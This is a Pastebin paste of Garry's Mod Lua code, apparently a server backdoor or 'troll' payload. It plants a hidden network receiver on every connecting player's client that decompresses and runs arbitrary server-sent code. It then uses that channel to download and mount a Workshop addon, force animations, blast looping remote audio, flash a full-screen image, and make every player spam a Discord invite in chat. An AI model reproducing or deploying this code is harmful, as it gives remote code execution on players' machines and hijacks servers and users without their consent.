SHARE
TWEET

Untitled

GuzManHax Jun 18th, 2019 69 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function RandomString( intMin, intMax )
  2.     local ret = ""
  3.     for _ = 1, math.random( intMin, intMax ) do
  4.         ret = ret.. string.char( math.random(65, 90) )
  5.     end
  6.  
  7.     return ret
  8. end
  9.  
  10. m_strImageGlobalVar = RandomString( 6, 12 )
  11.  
  12. local function rdm_str(len)
  13.     if !len or len <= 0 then return '' end
  14.     return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  15. end
  16.  
  17. local net_string = rdm_str(25)
  18.  
  19. util.AddNetworkString(net_string)
  20. BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  21. hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
  22.     if !ply:IsBot() then
  23.         ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  24.     end
  25. end)
  26.  
  27. local function SendToClient(code)
  28.     timer.Simple(1, function()
  29.         local data = util.Compress(code)
  30.         local len = #data
  31.         net.Start(net_string)
  32.         net.WriteUInt(len, 16)
  33.         net.WriteData(data, len)
  34.         net.Broadcast()
  35.     end)
  36. end
  37.  
  38.  
  39. hook.Add("Think","\xFF\xFF\xFF",function()
  40.     local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  41.     for _, v in ipairs(player.GetAll()) do
  42.         v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  43.     end
  44. end)
  45.  
  46.  
  47. SendToClient([=[
  48.         g_]=].. m_strImageGlobalVar.. [=[ = {}
  49.         local html = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  50.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  51.             local pnl = vgui.Create( "HTML" )
  52.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  53.             pnl:SetVisible( true )
  54.             pnl:SetMouseInputEnabled( false )
  55.             pnl:SetKeyBoardInputEnabled( false )
  56.             pnl:SetSize( intSizeX, intSizeY )
  57.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  58.  
  59.             local PageLoaded
  60.             PageLoaded = function()
  61.                 local mat = pnl:GetHTMLMaterial()
  62.                 if mat then
  63.                     g_]=].. m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  64.                     return
  65.                 end
  66.  
  67.                 timer.Simple( 0.5, PageLoaded )
  68.             end
  69.  
  70.             PageLoaded()
  71.         end
  72.     LoadWebMaterial( "https://i.imgur.com/3rVOxz5.gif", "hud2", 256 , 256 )
  73. ]=])
  74.  
  75. timer.Create("nonameplease", 5, 0,function()
  76.     for i=1, #player.GetHumans() do
  77.         local ply = player.GetHumans()[i]
  78.         ply:Say( "/ooc https://discord.gg/qYYG72a")
  79.     end
  80. end)
  81.  
  82. SendToClient([=[
  83. steamworks.FileInfo(1751603329,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)
  84.  
  85. timer.Simple(5, function()
  86.  
  87.     game.AddParticles( "particles/eco.pcf" )
  88.  
  89.     PrecacheParticleSystem("eco")
  90.  
  91.     for i = 1, 10 do
  92.         ParticleEffectAttach("eco", PATTACH_ABSORIGIN_FOLLOW, LocalPlayer(), 0)
  93.     end
  94.  
  95.     timer.Create("semmmmm", 5, 100, function()
  96.         RunConsoleCommand("act","dance")
  97.         RunConsoleCommand("_darkrp_doanimation", "1642")
  98.     end)
  99.  
  100.     local ragtbl = {}
  101.     for i=1,20 do
  102.         ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
  103.         ragtbl[i]:SetNoDraw( false )
  104.         ragtbl[i]:DrawShadow( true )
  105.     end
  106.  
  107.     local function GetWebMat( strURL )
  108.         return g_]=].. m_strImageGlobalVar.. [=[[strURL]
  109.     end
  110.     local uwu = {}
  111.  
  112.     hook.Add("HUDPaint", "okay",function()
  113.         for k,v in pairs(uwu) do
  114.             v()
  115.         end
  116.     end)
  117.  
  118.     SOUNDSTART_CTP = false
  119.     OZJFOZJCEZIO = true
  120.  
  121.  
  122.     sound.PlayURL("https://www.dropbox.com/s/m6ky9mbi2u366au/o.mp3?dl=1","mono noblock noplay",function(s)
  123.         if not s then return end
  124.         if SOUNDSTART_CTP then s:Stop() return end
  125.         SOUNDSTART_CTP = true
  126.         s:SetVolume(5 )
  127.         s:Play()
  128.         s:EnableLooping( true )
  129.  
  130.         local ragtbl = {}
  131.  
  132.         uwu["CoolEffect"] = function()
  133.  
  134.  
  135.  
  136.             local tbl = {}
  137.             s:FFT(tbl,FFT_2048)
  138.  
  139.  
  140.             xpcall(function()
  141.                 local fal = 0
  142.             for i=4,6 do
  143.                 fal = fal + tbl[i]
  144.             end
  145.  
  146.             if fal > 0.8 then
  147.  
  148.                 local oneid = "newhud"..math.random(100, 300).."id"
  149.  
  150.                 hook.Add( "HUDPaint", oneid, function()
  151.                     surface.SetDrawColor( 255, 255, 255, 255 )
  152.  
  153.                     if GetWebMat( "hud2" ) then -- lui
  154.                         surface.SetMaterial( GetWebMat("hud2")[1] )
  155.                         surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  156.                     end
  157.  
  158.                 end )
  159.  
  160.                 timer.Simple(0.2, function()
  161.                     hook.Remove( "HUDPaint", oneid)
  162.                 end)
  163.  
  164.             end
  165.             end,function()
  166.             end)
  167.  
  168.         end
  169.  
  170.     end)
  171. end)
  172. ]=])
  173. game.AddParticles( "particles/eco.pcf" )
  174. PrecacheParticleSystem("eco")
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top